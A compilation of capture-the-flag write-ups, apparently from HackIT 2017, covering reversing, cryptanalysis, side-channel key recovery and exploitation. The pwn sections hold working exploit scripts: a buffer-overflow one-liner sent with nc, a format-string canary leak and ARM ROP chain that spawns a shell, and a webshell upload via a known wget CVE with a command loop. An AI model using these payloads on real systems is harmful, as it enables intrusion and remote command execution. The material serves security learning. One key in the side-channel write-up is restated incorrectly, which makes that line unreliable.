``` alice/session/est/base/0624fb0d82deaa7ca92f9e2b72d48b4c07011c46dad736f6d3c7f220cda1d32balice/session/estalice/session/ephemeral/shared/001f29a3fd9bbf63e788fb6f39570b32ca6fa518b681b1ccaa8df0f0835b8f1dalice/session/est/base/0624fb0d82deaa7ca92f9e2b72d48b4c07011c46dad736f6d3c7f220cda1d32balice/session/ephemeral/shared/d5bb4b7f1ad9f4a20f2c9f8fb0f63a00cabffa81165b10fe4e171d8e405eb37dalice/session/est/base/0624fb0d82deaa7ca92f9e2b72d48b4c07011c46dad736f6d3c7f220cda1d32balice/session/ephemeral/shared/f5f7943a624467724c155ed41573d5ba1f0032fcfe2676b6ed66b8f772646f07alice/session/ephemeral/prekey/requested/public/[2094329238 : 77a759a63c9abc1f51be05cc971f7e5fa09949cda7062451ee55bdd05540a44c]alice/session/ephemeral/prekey/requested/private/6074af859b089f844e01c7c1c35a1ad174ea39dd39c0ce73981a57e3d20a6a70alice/msg/rcv/bob/enc/6312d8951609e19c54ca2f3db86b6961 -> [1]alice/session/est/base/0624fb0d82deaa7ca92f9e2b72d48b4c07011c46dad736f6d3c7f220cda1d32balice/session/ephemeral/prekey/requested/public/[1869677971 : e6eed22b5f5fa59de8d8e0b736bfd572f2d49952ccff07b2aaeefb7271141d77]alice/session/ephemeral/prekey/requested/private/68783b882f3463a512b11a6bab3bfb87aeeef749357d4bfa8b6a656857d0b873alice/msg/rcv/bob/enc/eee70b4f327fe0a2faa9944c360210ab -> [2] [...]```
We can see that some information is leaked, like a private and public key and some "shared" key.
Anyways, start Android decompiling as always: Get the jar via dex2jar and extract the apk with apktool as well. Dex2Jar isn't reliable at all and we have to use the smali code later to figure out invalid Java code. I also ran the apk trough [DeGuard](http://apk-deguard.com/) to resolve some of the obfuscated class names (the tool's not very good at it, but sometimes you get an idea what the class might be).
Anyway, hands on the decompiled sources! They are acctually pretty confusing, so I did some renaming at first. The 3 main classes are: * Participant => Acts as one person in the encrypted conversation and holds its own public/private keypair. Also stores the encrypted session to other participants * EncryptedSession => Encrypts and decrypts messages with a participant using a agreement on Curve25519 and AES with SHA256HMAC * ECKey => An encrypted message with some public key, private key and seed value
Lets trace the log file calls and assume the client's view is "Alice" (it acctually is!). "session/est/base/" is logged when a new EncryptedSession to a participant you havn't talked to yet is established. The value logged is the Curve25519 Agreement based on the public key of "Bob" and our own private key of "Alice". This agreement is used for all encryption later on, so it remains the same (and shows up quite often in the log).
"ephemeral/shared/" is used when a message encryption from Alice to Bob happens. Its again an agreement via Curve25519 and public/private key. But this time a new keypair for this message is generated, lets call it KP_MSG. In the encrypt function another keypair is generated, lets call this KP_ENC. The agreement is performed on the public key KP_MSG and private key KP_ENC, this agreement is logged again. KP_MSG is logged as well (requested/public/ and requested/private).
The last logtype is "msg/rcv/" which logs the message ID.
Man so, many key pairs and agreements. And some of the keys are leaked, but the leakage of all the public/private keys is actually a false flag.
Lets take a close look to the encryption function:```public ECKey encryptData(StringStorage paramStringStorage, PublicKeyStorage paramPublicKeyStorage) { Curve25519 curve25519Obj = Curve25519.get("best"); Curve25519KeyPair localCurve25519KeyPair = curve25519Obj.generateKeyPair(); byte[] agreement = ((Curve25519)curve25519Obj).calculateAgreement(paramPublicKeyStorage.getMSGPubKey(), localCurve25519KeyPair.getPrivateKey()); Logger.add(participant1.username + "/session/ephemeral/shared/", arrayOfByte); shiftCounter += 1L; byte[] keyBytes = sha256Hmac(getIVShifted(shiftCounter), "WhisperSystems".getBytes(), 16); byte[] ivBytes = sha256Hmac(agreement, "WhisperSystems".getBytes(), 16); Cipher localCipher = getCipherInstance(); localCipher.init(1, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(ivBytes)); return new ECKey(localCipher.doFinal(paramStringStorage.getStoredValue().getBytes()), shiftCounter, paramPublicKeyStorage.getSeed(), localCurve25519KeyPair.getPublicKey()); }```So, we aim for a AES decrypt. What we need is: * IV * Key * Encrypted data (obviously, but its in the log of Bob) * MODE and Padding Method (given by AES/CBC/PKCS5Padding)
The Key is build via:```shiftCounter += 1L;byte[] keyBytes = sha256Hmac(getIVShifted(shiftCounter), "WhisperSystems".getBytes(), 16);```The getIVShifted() performs some XOR and ROR Operations with the first agreement that this conversation had. Keep that in mind! But besides that pretty easy, isn't it? The IV is a little bit more complicated:```byte[] agreement = ((Curve25519)curve25519Obj).calculateAgreement(paramPublicKeyStorage.getMSGPubKey(), localCurve25519KeyPair.getPrivateKey());byte[] ivBytes = sha256Hmac(agreement, "WhisperSystems".getBytes(), 16);```So the iv calculates from the agreement between KP_MSG and KP_ENC. We don't have those key pairs :( But what we do have is the log of the agreement after "/session/ephemeral/shared/" . So all we need for a AES decrypt is: * First agreement ever in this conversation (logged in session/est/base/) * Agreement of the current message (logged in ephemeral/shared/) * Number of the current message = shiftCounter (logged in the log of Bob)
And we got all those information! So i wrote a Java program that performs the decryption. It wasn't as simple as it sounds, since the sha256Hmac-Function wasn't decompiled properly. It seems that dex2jar doesn't like abstract classes with inherited classes, maybe it was some kind of additional obfuscation. Anyway, here are the decrypted messages from Alice to Bob:```Hello, bobby :)What du U think about new messenger`s protocol?..Wha..?Dant warry, I am the one who checked it. It is safe for our deal.So take it --- h4ck1t{X}X=1_b3tT3r_w1Ll_b3_u5iNg_AX0L0TL``````
Flag: h4ck1t{1_b3tT3r_w1Ll_b3_u5iNg_AX0L0TL}
|
# Rev200
**Description:** You haxor, come on you little sciddie... debug me, eh? You fucking little lamer... You fuckin' come on, come debug me! I'll get your ass, you jerk! Oh, you IDA monkey! Fuck all you and your tools! Come on, you scum haxor, you try to reverse me? Come on, you asshole!!
First of all: The task wasn't even worth 50 points and was solved in 3 min. As a little sciddie i used IDA to decompile the checking algo (algo()):```for ( i = 0; i <= 19; ++i ) v4[i] = *(_BYTE *)(i + a1); for ( j = 20; j <= 39; ++j ) v3[j - 20] = *(_BYTE *)(j + a1); for ( k = 0; k <= 19; ++k ) { v4[k] = (((((v4[k] ^ 0xC) + 6) ^ 0xD) + 7) ^ 0xE) + 8; v3[k] = (((((v3[k] ^ 0xF) + 9) ^ 0x10) + 10) ^ 0x11) + 11; } for ( l = 0; l <= 19; ++l ) v2[l] = v4[l]; for ( m = 20; m <= 39; ++m ) v2[m] = v3[m - 20]; if ( memcmp((__int64)v2, (__int64)&correct, 160) ) result = Print(L"\nWrong\n"); else result = Print(L"\nCorrect\n"); return result;```Wow, static XOR on a each single byte that is compared to some static memory.
Simple python solution:```# Solution for rev200correct = [104, 60, 121, 113, 99, 124, 129, 146, 146, 101, 101, 147, 146, 73, 121, 146, 56, 108, 60, 111, 123, 135, 88, 85, 137, 90, 89, 126, 126, 107, 135, 108, 87, 108, 107, 88, 89, 90, 90, 111];correctS = "";
for x in range(20): for i in range(256): if ((((((i ^ 0xC) + 6) ^ 0xD) + 7) ^ 0xE) + 8) == correct[x]: correctS += chr(i)
for x in range(20): for i in range(256): if (((((i ^ 0xF) + 9) ^ 0x10) + 10) ^ 0x11) + 11 == correct[x+20]: correctS += chr(i) print correctS```
Flag: h4ck1t{ff77af3cf8d4e1e67c4300aeb5ba6344}
|
# B3tterS0ci4lN3twork (web 50)
Hint: try to find some cves
## ENG[PL](#pl-version)
In the task we get access to some webpage.We can register and log in.In this webpage we can send messages to other users and there is a clear XSS in the messages.This pointed us (and many other players) in wrong direction.We can also change password and upload avatar, but it takes only `.png/.jpg` files.
Once the hint was released we had to change the approach -> CVE has to be about some real software, webserver, php version etc.All seemed right, but we decided to check how the avatar is uploaded to the server, and we found out that it is using `wget 1.15`.
It's not the latest version, so it's a good candidate for some know vulnerabilty.Some looking around and we found: https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html
The issue is that until the connection is closed during file upload, the file extension check is not triggered.This means we can upload a PHP shell and use it as long as we don't close the wget connection!
We used the PoC from the article, replacing single command execution for
```pythonwhile True: command = raw_input(">") print urllib2.urlopen(WEBSHELL_URL+"?cmd="+command).read()```
And we got ourselves a nice shell, which we used to list files and find hidden php file with flag:`h4ck1t{wg3t_cv3_1n_CTF}`
## PL version
W zadaniu dostajemy link do strony internetowej.Możemy się tam zarejestrować i zalogować.Strona pozwala wysyłać wiadomości między użytkownikami i jest tam ewidentna podatność XSS.To skierowało nas (i wiele innych osób) na złe tory.Na stronie możemy też zminić hasło oraz uploadować avatar, ale tylko `.png/.jpg`.
Po udostępnieniu podpowiedzi musieliśmy zmienić podejscie -> CVE musi dotyczyć jakiegoś prawdziwego oprogramowania, serwera, wersji php itd.Wszystko wyglądało dobrze, ale postanowiśmy sprawdzić w jaki sposób avatar jest pobierany na serwer i okazało się że za pomocą `wget 1.15`.
To nie jest najnowsza wersja, więc jest dobrym kandydatem na jakąś znaną podatność.Chwila szukania i trafiliśmy na: https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html
Błąd polega na tym, że dopóki połączenie z uploadem pliku nie zostanie zerwane, filtr rozszerzeń plików nie jest uruchamiany.To oznacza że możemy uploadować PHP shell i dopóki nie zerwiemy połączenia wgeta możemy tego shella używać.
Zastosowalismy PoC z artykułu, zmieniając jedynie dla wygody jedno wykonanie komendy na:
```pythonwhile True: command = raw_input(">") print urllib2.urlopen(WEBSHELL_URL+"?cmd="+command).read()```
I dostaliśmy dość ładego shella, za pomocą którego listowaliśmy i wypisywaliśmy pliki, w tym ukryty plik php z flagą: `h4ck1t{wg3t_cv3_1n_CTF}` |
# Today’s moon phase (pwn 150)
## ENG[PL](#pl-version)
In the task we get ARM x86 [binary](pwn150) to work with.We can run the binary via retdec and get [source](pwn150.c).
In the code we have already a nice function to read the flag.We also have to stack canary protection.This means we expect some stack buffer overflow to overwrite return pointer and jump to function which prints the flag.
This points to all places where we can provide some inputs to the application.We have `getline` which reallocates memory automatically, so not here.We have `scanf` with `%c` so again, surely not here.We have another `scanf` with `%5hu%c` and the buffer is large enough (although retdec decompilation doesn't show this nicely).Finally we have something interesting:
```csnprintf((char *)&str2, 32, "%%%zus", (int64_t)(v6 % 0x10000));scanf((char *)&str2;;```
Again retdec doesn't do justice here, but what happens is that we create a format string based on integer we read before and then we read based on this format.We read the input into buffer initially set as:
```cmemset((char *)&v1, 0, 512);```
So it has 512 bytes, and this is all inside a condition:
```cif ((int16_t)v6 < 513)```
It would seem we can't pass anything more than 512, so we can't create a format string which would allow the buffer overflow.Let's look one more time on the format for the size: `%5hu`, so 5 digits and we read this as `unsigned short`.5 digits seems a lot considering the max number we expect is `512`...
Now let's look at the condition one more time: `(int16_t)v6 < 513`. But surely `int16_t` is `signed short`!So we found signed-unsigned issue here.We could pass a value much larger than 512, as long as after casting to signed value it's lower than 513, which is simple enough because anything large will become negative.
So the exploitation chain is as follows:
1. Send random name.2. Send `Y` (we want to send feedback)3. Send large number to create string format allowing overflow4. Send payload overflowing the buffer and overwrite return pointer (532 bytes + address) to function printing the flag (0x104d8)
```python -c "print('A\n'+'Y\n'+'65536\n'+('A'*532)+chr(0xd8)+chr(0x04)+chr(0x01)+'\n')" | nc6 165.227.98.55 2222```
And we get `h4ck1t{Astronomy_is_fun}`
## PL version
W zadaniu dostajemy [binary](pwn150) ARM x86.Możemy zdekompilować go za pomocą retdec i dostaniemy [source](pwn150.c).
W kodzie widać od razu ładną funkcje do wypisywania flagi.Nie ma też stack canary.To oznacza, że spodziewamy się stack buffer overflow za pomocą którego nadpiszemy adres powrotu z funkcji i skoczymy od funkcji wypisującej flagę.
To sugeruje analizę miejsc, gdzie wprowadzamy do aplikacji dane.
Na początku mamy `getline`, ale on realokuje pamięć w miarę potrzeb, więc nie tutaj.Następnie mamy `scanf` ale z `%c` więc też nic z tego.Później jest kolejny `scanf` z `%5hu%c` ale bufor jest wystarczająco duży (chociaż w retdecowej dekompilacji słabo to widać).Wreszcie mamy coś ciekawego:
```csnprintf((char *)&str2, 32, "%%%zus", (int64_t)(v6 % 0x10000));scanf((char *)&str2;;```
Znów retdec poległ na generacji sensownego kodu, ale zamysł jest taki, ze generujemy tu string format zależny od wartości zmiennej wczytanej wcześniej i za pomocą tego formatu pobieramy dane.Dane idą do bufora który był przygotowany przez:
```cmemset((char *)&v1, 0, 512);```
Więc ma 512 bajtów, a tworzenie formatu i pobieranie danych jest w warunku:
```cif ((int16_t)v6 < 513)```
Wydawałoby się, że nie możemy podać niczego ponad 512, więc nie wygenerujemy string format, który pozwolilby na overflow.Popatrzmy jednak jeszcze raz na format według którego pobierany jest rozmiar: `%5hu`, więc 5 cyfr i czytamy `unsigned short`.5 cyfr to dużo skoro oczekujemy nie wiecej niż `512`...
Popatrzmy teraz na warunek jeszcze raz: `(int16_t)v6 < 513`. A przecież `int16_t` to `signed short`!Mamy więc błąd signed-unsigned.Można więc przemycić wartość większą niż 512, o ile po zrzutowaniu do typu signed jej wartość będzie mniejsza niż 513, co jest trywialne, bo każda wystarczająco duża liczba będzie ujemna.
Więc schemat ataku to:
1. Wysyłamy losowe imie.2. Wysyłamy `Y` (chcemy wysłać feedback)3. Wysyłamy dużą liczbę która pozwoli nam utworzyć string format umożliwiający overflow4. Wysyłamy dane przepełniające bufor i nadpisujący adres powrotu z funkcji (532 bajty + adres) na adres funkcji wypisującej flagę (0x104d8).
```python -c "print('A\n'+'Y\n'+'65536\n'+('A'*532)+chr(0xd8)+chr(0x04)+chr(0x01)+'\n')" | nc6 165.227.98.55 2222```
I dostajemy: `h4ck1t{Astronomy_is_fun}` |
Full writeup: https://github.com/p4-team/ctf/tree/master/2017-08-25-hackit/web150
tl;dr: egghunt to find fake jquery.js file, then read the code and get the flag by
```python"".join([chr(c-i) for i,c in enumerate([70,70,71,79,86,74,71,83,80,74,77,86,81,95])])``` |
# Poli Wars
A not so long time ago, in a galaxy not so far away..
## How to build
gcc -m32 -o poli_wars poli_wars.c ; strip poli_wars
## How to run socat tcp-l:some_port,reuseaddr,fork exec:"./poli_wars" ## How to solve
*** SPOILER ALERT *** See `pwnpoli_wars`
In a nutshell:
1. House of Mind heap exploitation technique ([Reference](http://phrack.org/issues/66/10.html) - FastBin Method) is used to set global variable which controls falcon deployment to a value != 0. Bwings are used for padding heap to correct position. Xwing to overwrite top chunk size.2. The particular ship_name of the z95 fighter (z95;) allow us to preapare a structure with z95;/bin/sh\x00 as first 3 params to bee freed later.3. Falcon allow us to leak all we need (got and libc addresses).4. Falcon is also vulnerable to heap overflow with no check thus allowing us to use House of Force technique.5. 'Houseforcing' into got allow us to replace free address with system.6. Sending our z95 spacecraft alone to face deathstar results in shell. |
# 4_messages (crypto 100)
## ENG[PL](#pl-version)
In the task we get [4 Playfair ciphertexts](captured.log) and we know that the plaintext starts with `Good evening hackit two thousand seventeen`.
We actually approached this in a bit unconventional way, since the first attack we found was a heuristic to recover message from a single ciphertext with no plaintext known at all described here: http://practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-playfair/
So we simply proceed with this and recover plaintexts within seconds:
```GOOD EVENING HACKIT TWO THOUSAND SEVENTEEN IN THIS TINY BROCURE WE WOULD LIKE TO DESCRIBE HOW IT IS TO BE A PLAYFAIR CRYPTOR NO DOUBT IT IS EASY AS HECK BUT YOU GOT TO HAVE A PIECE OF PAPER ALL THE TIME WE BET THERE IS NO CONVINIENCE NOW LETS CUT THE SHIT RESTORE THE MATRIX KEYS FOR EACH CIPHERTEXT THEN TAKE FIRST SIX LETTERS THEN COMBINE THEM TO GET HER AND YOU WILL GET THE FLAG```
And the matrix keys:
```TBDEFGLMNOPQRSUVWXYZHACKIWXZTUVERISBCDYAHKLFGOPQMNNGEDACFHRBLMOIKSTUPQXYZVWUVWXZCRYPTOABDEFGHIKLMNQS```
Now with some luck, guessing and 5x5 matrix column/row shifts we figure out the codewords:
```hackitisverydangercrypto```
So the flag is: `h4ck1t{hackitisverydangercrypto}`
## PL version
W zadaniu dostajemy [4 szyfrogramy Playfair](captured.log) i wiemy że plaintext zaczyna się od `Good evening hackit two thousand seventeen`.
Podeszliśmy do tego zadania trochę niekonwencjonalnie, bo pierwszy atak na który trafiliśmy to była heurystyka do odzyskiwania wiadomości na podstawie jednego szyfrogramu bez żadnej znajomości plaintextu opisana tutaj: http://practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-playfair/
Uruchomiliśmy więc solver i w kilka sekund odzyskaliśmy wiadomości:
```GOOD EVENING HACKIT TWO THOUSAND SEVENTEEN IN THIS TINY BROCURE WE WOULD LIKE TO DESCRIBE HOW IT IS TO BE A PLAYFAIR CRYPTOR NO DOUBT IT IS EASY AS HECK BUT YOU GOT TO HAVE A PIECE OF PAPER ALL THE TIME WE BET THERE IS NO CONVINIENCE NOW LETS CUT THE SHIT RESTORE THE MATRIX KEYS FOR EACH CIPHERTEXT THEN TAKE FIRST SIX LETTERS THEN COMBINE THEM TO GET HER AND YOU WILL GET THE FLAG```
I klucze:
```TBDEFGLMNOPQRSUVWXYZHACKIWXZTUVERISBCDYAHKLFGOPQMNNGEDACFHRBLMOIKSTUPQXYZVWUVWXZCRYPTOABDEFGHIKLMNQS```
Dalej przy odrobinie szczęścia, zgadywania i przesuwania kolumn/wierszy macierzy 5x5 dostajemy:
```hackitisverydangercrypto```
Więc flaga to: `h4ck1t{hackitisverydangercrypto}` |
---layout: posttitle: "HackIT CTF"date: 27 Août 2017comments: truecategories: wu---Le binaire en statique presente les caractéristiques suivantes:```Filename pwn150File format ELF32Architecture armEndianess little endianEntry point 0x10370Loadables segments 2Sections 31
NX bit enabledSSP disabledRelro unknownRPATH unknownRUNPATH unknownPIE disabled```Une faille réside dans le fait que si on entre un nombre > 32768, il apparait comme négatif dans le testlors de la demande de la longueur du message. Il est alors possible de faire un buffer overflow sur la pile.Il suffit de basculer sur le fonction affichant le flag (0x104d8) pour avoir ce flag.
```PAD="ABCDEFGHIJKLMNOPQRSTUVWXYZ@@AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ@@@@AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ@@@@@AAAAABBBBBCCCCCDDDDDEEEEEFFFFFGGGGGHHHHHIIIIIJJJJJKKKKKLLLLLMMMMMNNNNNOOOOOPPPPPQQQQQRRRRRSSSSSTTTTTUUUUUVVVVVWWWWWXXXXXYYYYYZZZZZ@@@@@@AAAAAABBBBBBCCCCCCDDDDDDEEEEEEFFFFFFGGGGGGHHHHHHIIIIIIJJJJJJKKKKKKLLLLLLMMMMMMNNNNNNOOOOOOPPPPPPQQQQQQRRRRRRSS"
# mettre la longeur à 55000 donne un nombre négatif, le BOF est possible
p=remote(host,port)print p.recvuntil("?")p.sendline("A")print p.recvuntil("N:")p.sendline("Y")print p.recvuntil("ssage:")p.sendline("55000")p.sendline(PAD+p32(0)+p32(0)+p32(0)+p32(0x104d8))print p.recvall(1)p.close()```On obtient le déroulement suivant:
```[+] Opening connection to 165.227.98.55 on port 2222: DoneWelcome to our secured moon phase tracking server.What is your name?
Hello, A!Current moon phase: 1Sorry, current moon phase is bad for showing flags.A, do you want to leave us a feedback? Enter Y or N:Please, enter length of your message:
[+] Receiving all data: Done (90B)[*] Closed connection to 165.227.98.55 port 2222
Your opinion is very important to us.Bye-bye!h4ck1t{Astronomy_is_fun}Have a nice day!
``` |
---layout: posttitle: "HackIT CTF"date: 27 Août 2017comments: truecategories: wu---Le binaire presente les caractéristiques suivantes:```Filename pwn200File format ELF32Architecture armEndianess little endianEntry point 0x10370Loadables segments 2Sections 31
NX bit enabledSSP enabledRelro unknownRPATH unknownRUNPATH unknownPIE disabled```On observe tout d'abord une présence d'une faille de type format qui nouspermet de faire un dump de la pile. Cela permet de trouver d'une part le canari(offset 517) et d'autre part de localiser la pile (l'offset 3 pointe versl'offset 5 de la pile). Le code suivant récupère ces deux informations:```p=remote(host,port)p.recvuntil("> ")p.sendline('%3$08x%517$08x')b=p.recvuntil("> ")adr_pile=int(b[0:8],16)-5*4canari=int(b[8:16],16)print '[+] pile ',hex(adr_pile)print '[+] canari ',hex(canari)```On observe en suite un bufferoverflow. Le binaire étant en statique, on peutfaire un ROP développant un shell. Les gadgets sont```svc48lr=0x00053520 # svc #0 ; pop {r4, r5, r6, r7, r8, lr} ; bx lrpopr0=0x00070068 # pop {r0, lr} ; bx lrpopr1=0x00070590 # pop {r1, lr} ; bx lrpopr3=0x00010160 # pop {r3, lr} ; bx lrpopr45678=0x00011184 # pop {r4, r5, r6, r7, r8, lr} ; bx lrpopr47=0x0002a6f8 # pop {r4, r7, lr} ; bx lrgadget=0x0004f17c # mov r2, r4 ; mov r1, r7 ; mov r0, r6 ; mov lr, pc ; bx r3```Le ROP lui même est classique faisant un execve("/bin/sh",0,0)```rop=""offset=adr_pile+0x81c+4* 14rop=rop+p32(0) # r4 (ira dans r2)rop=rop+p32(adr_pile) # r11
rop=rop+p32(popr3) # pop {r3, lr} ; bx lrrop=rop+p32(popr47) # pop {r4, r7, lr} ; bx lr -> dans r3
rop=rop+p32(popr45678) # pop {r4, r5, r6, r7, r8, lr} ; bx lrrop=rop+p32(0) # r4 -> r2rop=rop+p32(adr_pile) # r5rop=rop+p32(offset) # r6 -> r0rop=rop+p32(0) # r7 ira dans r1rop=rop+p32(adr_pile) # r8rop=rop+p32(gadget) # mov r2, r4 ; mov r1, r7 ; mov r0, r6 ; mov lr, pc ; bx r3 ---> là r2=0, r1=offset, r0 = offset
rop=rop+p32(adr_pile) # r4rop=rop+p32(11) # r7rop=rop+p32(svc48lr) # svc #0rop=rop+"/bin/sh"+chr(0)
p.sendline(PAD+rop)p.interactive()```avec un PAD de longueur 1024. On obtient le déroulement suivant:```[*] '/home/francois/BFF/beers4flags/writeups/2017/hackIT/pwn200/pwn200' Arch: arm-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x10000)[+] Opening connection to 165.227.98.55 on port 3333: Done[+] pile 0xbef69458[+] canari 0xf0406900
[*] Switching to interactive mode$ cd home/pwn200$ cat fla*h4ck1t{Sarah_would_be_proud}$ [*] Closed connection to 165.227.98.55 port 3333``` |
## Tracing the Traces (Crypto, 1 point)
These traces (.trs and .mat format) were captured from a hardware device performing a certain cryptographic calculation. The trace files contain input/output data as well as the corresponding power measurements for (part of) the cryptographic operation. Can you get the key?
We are provided the traces in both [Riscure Inspector Format](traces.trs) and [Matlab](traces.mat) format along with an overview of a trace.
With the inputs, outputs, and power measurements of the operation we can perform a Correlation Power Analysis (CPA) attack. Reading through previous writeups and searching for tools to do just this we come across [Jlsca](https://github.com/Riscure/Jlsca) which conveniently supports the trs format. We also find [tutorials written using RHMe2 challenges for Jlsca](https://github.com/ikizhvatov/jlsca-tutorials).
Fantastic! We appear to have everything we need already. Let's get cracking.
---
The first step is getting [Julia](https://julialang.org/) setup in our environment. It's always interesting to see a new language and it's design decisions.
Once we have that we can run the example scripts against our data. Spoiler alert: they didn't work. Let's take a look at the tutorials we found. _I used the first tutorial [piece of SCAke](https://github.com/ikizhvatov/jlsca-tutorials/blob/master/rhme2-pieceofscake.ipynb) but had to switch to the second tutorial [still not SCAry](https://github.com/ikizhvatov/jlsca-tutorials/blob/master/rhme2-stillnotscary.ipynb) for reasons that will become apparent shortly to you dear reader._
Our data is already in trs format so we can skip the first section of the tutorial. Copying the finished code we don't get the code sadly. So let's keep following the tutorial and inspect the traces. Our first step is to load in the traces and plot them so we can view our data. Viewing the traces and zooming in on a section quickly reveals they are misaligned.
```juliausing Jlsca.Scausing Jlsca.Trsusing Jlsca.Alignusing Jlsca.Aesusing PyCallusing PyPlot.plot,PyPlot.figure
@pyimport numpy
filename = ARGS[1]trs = InspectorTrace(filename)
((data,samples),eof) = readTraces(trs, 1:10);plot(samples[1:10,:]',linewidth=.3);```
Continuing with the second tutorial we can begin to align the traces. I first tried a referencestart and referenceend containing the entire sequence from 1 to 6095. With that not working i tried the end, the start, and finally a point in the middle worked. _Since then i've read further into the writeups from RHMe2 and using an SBOX section is a good point as they were never shifted. (i think)_
```juliamaxShift = 1000referencestart = 3000referenceend = 5000reference = trs[3][2][referencestart:referenceend]corvalMin = 0.4alignstate = CorrelationAlignFFT(reference, referencestart, maxShift)addSamplePass(trs, x -> ((shift,corval) = correlationAlign(x, alignstate); corval > corvalMin ? circshift(x, shift) : Vector{eltype(x)}(0)))```
Now let's perform the actual CPA attack. We can add a check that verifies an input and output to ensure our recovered key is correct in case it's not an obvious looking key.
```juliaparams = AesSboxAttack()params.analysis = IncrementalCPA()params.analysis.leakages = [HW()]numberOfTraces = length(trs);
setPostProcessor(trs, IncrementalCorrelation())key = sca(trs, params, 1, numberOfTraces)
w = KeyExpansion(key, 10, 4)if (Cipher(trs[1][1][1:16], w) == trs[1][1][17:32]) println("Success!")end```
```$ julia -i solve.jl traces.trs[x] Skipping unknown tag 70 with length 5[x] Skipping unknown tag 73 with length 1[x] Skipping unknown tag 74 with length 1[x] Skipping unknown tag 75 with length 4[x] Skipping unknown tag 76 with length 4[x] Skipping unknown tag 104 with length 4[x] Skipping unknown tag 105 with length 1[x] Skipping unknown tag 106 with length 1Opened traces.trs, #traces 300, #samples 6095 (Float32), #data 32
Jlsca running in Julia version: 0.6.0, 1 processes/1 workers/1 threads per worker
AES Sbox IncrementalCPA attack parametersleakages: Jlsca.Sca.Leakage[Jlsca.Sca.HW()]mode: CIPHERkey length: KL128direction: FORWARDtarget: Sbox outdata at: 1key bytes: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]
phase: PHASE1
Running processor Jlsca.Sca.IncrementalCorrelation on all traces, using trace set with 1 data passes, 1 sample passesProcessing traces 1:300.. 100%|█████████████████████████| Time: 0:00:08Results @ 300 traces[...]recovered key material: cafebabedeadbeef0001020304050607recovered key: cafebabedeadbeef0001020304050607Success!```
Working solution: [solve.jl](solve.jl)
**cafedeadbeef01020304050607** |
# File contents
The file "steg.zip" contained two interesting files:
* **crypt.pyc** - Some Python code that is used to obfuscate an image file, in bytecode format.* **res.png** - An obfuscated image file.
-----
res.png looks like this:
[](https://imma.gr/l/68015x071f5)
and clearly has some mirroring going on along both axes.
-----
Looking closely at the image and comparing dimensions, we found the original image to be this one:
[](https://imma.gr/p/68016x1ed39)
And although it was not necessary to solve the task, it helped to verify our reversing efforts in the next step.
-----
# Reversing crypt.pyc
We ran the pyc through various decompilers, but had best results with Decompyle++. The bytecode was from Python 3.6 and contained fairly new control flow opcodes, which were poorly supported in the other decompilers. After cleaning up the code slightly, and replacing some repeated list comprehensions with a function, we ended up with this:
```from PIL import Image
def xor(A,B): return tuple([a ^ b for (a, b) in zip(A, B)])
def obfuscate(inputfilename, outputfilename): img = Image.open(inputfilename) img_rgb = img.convert('RGB') (w, h) = img.size # 736, 618 prev_pixel = (0, 0, 0) for x in range(w): for y in range(h): if (x + y + 1) % 203 % 130 % 53 % 37 % 23 % 17 % 6 == 0: img_rgb.putpixel((x, y), tuple(img_rgb.getpixel((w - x - 1, h - y - 1)))) img_rgb.putpixel((w - x - 1, h - y - 1), xor(prev_pixel, img_rgb.getpixel((x,y)))) elif (x + y + 1) % 203 % 130 % 53 % 37 % 23 % 17 % 6 == 1: img_rgb.putpixel((x, y), tuple(img_rgb.getpixel((x, h - y - 1)))) img_rgb.putpixel((x, h - y - 1), xor(prev_pixel, img_rgb.getpixel((x, y)))) elif (x + y + 1) % 203 % 130 % 53 % 37 % 23 % 17 % 6 == 2: img_rgb.putpixel((x, y), tuple(img_rgb.getpixel((w - x - 1, y)))) img_rgb.putpixel((w - x - 1, y), xor(prev_pixel, img_rgb.getpixel((x, y)))) else: img_rgb.putpixel((x, y), xor(prev_pixel, img_rgb.getpixel((x, y))))
prev_pixel = xor(prev_pixel, img_rgb.getpixel((x, y))) img_rgb.save(outputfilename)```
In short, this loops through every pixel with `prev_pixel` initially set to (0, 0, 0). Then, depending on if some long modulo chain is 0, 1, or 2 it either swaps the pixel with the one mirrored along the diagonal, the y-axis or x-axis. If the result is 4 or 5, it just XORs the current pixel with `prev_pixel`. When swapping pixels, it also XORs the mirrored pixel with `prev_pixel`. Ultimately, `prev_pixel` is set to be the the current pixel XOR `prev_pixel`.
We were not able to fully reverse this function, but that was not strictly needed either. Simply looping backwards and changing the order of execution inside each if condition produced a readable image.
```def deobfuscate(inputfilename, outputfilename): img = Image.open(inputfilename) img_rgb = img.convert('RGB') (w, h) = img.size # 736, 618 prev_pixel = (98, 21, 65) # Values chosen so that the final prev_pixel = (0,0,0) for x in range(w-1,-1,-1): for y in range(h-1,-1,-1): prev_pixel = xor(prev_pixel, img_rgb.getpixel((x, y))) if (x + y + 1) % 203 % 130 % 53 % 37 % 23 % 17 % 6 == 0: img_rgb.putpixel((w - x - 1, h - y - 1), img_rgb.getpixel((x,y))) img_rgb.putpixel((x, y), xor(prev_pixel, img_rgb.getpixel((w - x - 1, h - y - 1)))) elif (x + y + 1) % 203 % 130 % 53 % 37 % 23 % 17 % 6 == 1: img_rgb.putpixel((x, h - y - 1), img_rgb.getpixel((x, y))) img_rgb.putpixel((x, y), xor(prev_pixel, img_rgb.getpixel((x, h - y - 1)))) elif (x + y + 1) % 203 % 130 % 53 % 37 % 23 % 17 % 6 == 2: img_rgb.putpixel((w - x - 1, y), img_rgb.getpixel((x, y))) img_rgb.putpixel((x, y), xor(prev_pixel, img_rgb.getpixel((w - x - 1, y)))) else: img_rgb.putpixel((x, y), xor(prev_pixel, img_rgb.getpixel((x, y))))
img_rgb.save(outputfilename)```
-----
